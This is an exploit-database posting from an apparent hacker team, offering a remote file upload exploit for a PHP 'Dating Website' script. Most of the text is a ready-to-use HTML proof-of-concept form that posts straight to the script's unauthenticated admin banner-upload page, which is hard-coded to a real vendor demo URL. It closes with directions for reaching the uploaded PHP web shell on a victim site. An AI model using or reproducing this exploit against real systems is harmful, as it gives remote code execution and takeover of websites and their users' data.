Dating Website <= Remote File Upload Exploit

============================================
Dating Website <= Remote File Upload Exploit
============================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm KnocKout member from Inj3ct0r Team           1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : [email protected]
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : Dating Website
~Version : N/A
~Software: http://www.ezonescripts.com
~Vulnerability Style : File Upload,Shell Upload etc..
~Vulnerability Dir : /
~Google Keyword : N/A
[~]Date : "16.10.2010"
-----------
Demos : 
http://www.ezonescripts.com/productdemos/DatingSite/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
    ~~~~~~~~ Exploited by KnocKout Html POC~~~~~~~~~~~
                                        
<title>Dating Website Script - Remote File Upload Exploit by KnocKout</title>
<br><br>
<center>
  <table><form method=post action="http://www.ezonescripts.com/productdemos/DatingSite/admin/upload_banners.php" enctype="multipart/form-data">
    <tr> 
      <td  class=TD_links> <span style=font-size:12><font face=Arial>URL 
        to the banner target web site: </font></td>
      <td  class=TD_links> <input type=text size=36 name=burl value="http://"> 
      </td>

    </tr>
    <tr> 
      <td  class=TD_links> <span style=font-size:12><font face=Arial>Alt 
        text:</font> </td>
      <td  class=TD_links> <input type=text name=alt size=36 maxlenght=255> 
      </td>
    <tr> 
      <td  class=TD_links> <span style=font-size:12><font face=Arial>Browse 
        your local HDD: </font></td>

      <td  class=TD_links> <input type=file size=25 name="userfile"> </td>
    </tr>
    <tr> 
      <td></td>
      <td class=TD_links> <input type=submit name="submitok"  value=" Upload "> 
      </td>
    </tr>
  </table>

<center><b>Exploited by KnocKout</b></center>
<h1><b> your shell After you install go to http://VICTIM//DatingSite/banners/[ShellName.php]</b></h1>
    
            [+] File is Uploaded.
    ================================



#  0day.today [2018-04-14]  #